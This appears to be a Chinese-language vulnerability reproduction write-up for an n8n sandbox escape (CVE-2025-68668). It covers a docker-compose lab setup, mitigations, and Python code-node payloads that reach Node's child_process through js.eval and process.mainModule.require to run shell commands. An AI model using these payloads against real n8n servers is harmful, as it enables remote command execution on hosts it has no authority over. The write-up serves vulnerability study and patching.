# n8n Pyodide 沙箱逃逸导致远程代码执行漏洞 CVE-2025-68668

## 漏洞描述

n8n 是一个开源的工作流自动化平台，允许用户通过可视化界面创建和管理复杂的自动化工作流。它支持数百种集成服务和应用，使用户能够连接不同的系统和 API，实现数据同步、任务自动化和业务流程优化。

在 n8n 1.0.0 至 2.0.0 之前的版本中，其基于 Pyodide 实现的 Python 代码节点存在沙箱隔离缺陷。该节点旨在为工作流提供安全的 Python 代码执行环境，但其隔离机制（Pyodide）可能被经过身份验证的攻击者通过注入或构造特定的 Python 代码绕过，从而突破沙箱限制，直接访问并操作底层主机操作系统的资源。这使得拥有创建工作流权限的攻击者可以通过编辑或创建包含恶意代码的 Python 节点，以 n8n 进程的权限在服务器上执行任意系统命令。

参考链接：

- https://github.com/n8n-io/n8n/security/advisories/GHSA-62r4-hw23-cc8v
- https://www.smartkeyss.com/post/cve-2025-68668-breaking-out-of-the-python-sandbox-in-n8n

## 漏洞影响

```
1.0.0 <= n8n < 2.0.0
```

## 环境搭建

根据官方 [docker-compose.yml](https://github.com/n8n-io/n8n-hosting/blob/main/docker-compose/withPostgres/docker-compose.yml)，修改 n8n 版本为 1.71.0：

```
volumes:
  db_storage:
  n8n_storage:

services:
  postgres:
    image: postgres:16
    restart: always
    environment:
      - POSTGRES_USER=n8n_user
      - POSTGRES_PASSWORD=n8n_password 
      - POSTGRES_DB=n8n_db
      - POSTGRES_NON_ROOT_USER=n8n_root
      - POSTGRES_NON_ROOT_PASSWORD=n8n_root_password 
    volumes:
      - db_storage:/var/lib/postgresql/data
      - ./init-data.sh:/docker-entrypoint-initdb.d/init-data.sh
    healthcheck:
      test: ['CMD-SHELL', 'pg_isready -h localhost -U n8n_user -d n8n_db']
      interval: 5s
      timeout: 5s
      retries: 10

  n8n:
    image: docker.n8n.io/n8nio/n8n:1.71.0
    restart: always
    environment:
      - DB_TYPE=postgresdb
      - DB_POSTGRESDB_HOST=postgres
      - DB_POSTGRESDB_PORT=5432
      - DB_POSTGRESDB_DATABASE=n8n_db
      - DB_POSTGRESDB_USER=n8n_user
      - DB_POSTGRESDB_PASSWORD=n8n_password
    ports:
      - 5678:5678
    links:
      - postgres
    volumes:
      - n8n_storage:/home/node/.n8n
    depends_on:
      postgres:
        condition: service_healthy
```

执行如下命令启动一个 n8n 1.71.0 服务：

```
docker-compose up -d
```

由于 secure cookie 限制，建议本地 localhost 访问，或通过 ssh 端口转发将 5678 端口转发到本地：

```
ssh -L 5678:localhost:5678 root@your-ip
```

> 或在 `docker-compose.yml` 中 `n8n environment` 处增加 `N8N_SECURE_COOKIE=false`，绕过 secure cookie 限制。该配置不安全，不建议在生产环境使用。

服务启动后，访问 `http://localhost:5678` 即可查看到 n8n 主页，注册账号并登录：

![](images/n8n%20Pyodide%20沙箱逃逸导致远程代码执行漏洞%20CVE-2025-68668/image-20260112113024595.png)

## 漏洞复现

在 Pyodide 中运行的 Python 代码通过 JavaScript Bridge 跨越沙箱边界。通过该桥接器，将调用未受限的 Node.js API，这些 API 提供对进程管理和文件系统操作等模块的访问。因此，攻击者能够以 n8n 进程的权限执行任意操作系统命令。

创建一个新的 Workflow 并添加一个 Python 代码节点。当前环境中对沙箱进行了加固，限制对 `require` 的直接调用。使用这个文章中的 [poc](https://www.smartkeyss.com/post/cve-2025-68668-breaking-out-of-the-python-sandbox-in-n8n) 进行验证，将报错 `ReferenceError: require is not defined`：

```python
from js import require

child_process = require("child_process")
output = child_process.execSync("id").toString()

return {"result": output}
```

![](images/n8n%20Pyodide%20沙箱逃逸导致远程代码执行漏洞%20CVE-2025-68668/image-20260112140040239.png)

为了绕过此限制，我们通过 `process` 对象调用 `mainModule.require`：

```python
import js

try:
    output = js.eval('process.mainModule.require("child_process").execSync("id").toString()')
    return {"result": output}
except Exception as e:
    return {"error": str(e)}
```

![](images/n8n%20Pyodide%20沙箱逃逸导致远程代码执行漏洞%20CVE-2025-68668/image-20260112135929784.png)

执行命令 `touch /tmp/awesome_poc`：

![](images/n8n%20Pyodide%20沙箱逃逸导致远程代码执行漏洞%20CVE-2025-68668/image-20260112140517835.png)

可以看到，命令已经被成功执行：

![](images/n8n%20Pyodide%20沙箱逃逸导致远程代码执行漏洞%20CVE-2025-68668/image-20260112140556874.png)

## 漏洞修复

**通用修补建议**

- 官方已发布漏洞补丁及修复版本，请评估业务是否受影响后，酌情升级至安全版本： https://github.com/n8n-io/n8n/releases
- 由于 n8n 从 1.111.0 版本起，引入了基于任务运行器（task-runner）的原生 Python 实现可选功能，提供了更安全的隔离模型。因此也可通过配置环境变量 `N8N_RUNNERS_ENABLED` 和 `N8N_NATIVE_PYTHON_RUNNER` 启用进行修复。并且此安全实现自 2.0.0 版本起已成为默认配置。

**临时缓解措施**

- 禁用代码节点：设置环境变量 `NODES_EXCLUDE: "[\"n8n-nodes-base.code\"]"`，可参考以下链接： https://docs.n8n.io/hosting/securing/blocking-nodes/
- 禁用 Python 支持：设置环境变量 `N8N_PYTHON_ENABLED=false`（该环境变量自 1.104.0 版本引入）。
- 启用安全沙箱：配置环境变量 `N8N_RUNNERS_ENABLED 和 N8N_NATIVE_PYTHON_RUNNER`，以使用基于任务运行器的 Python 沙箱，可参考以下链接： https://docs.n8n.io/hosting/configuration/task-runners/
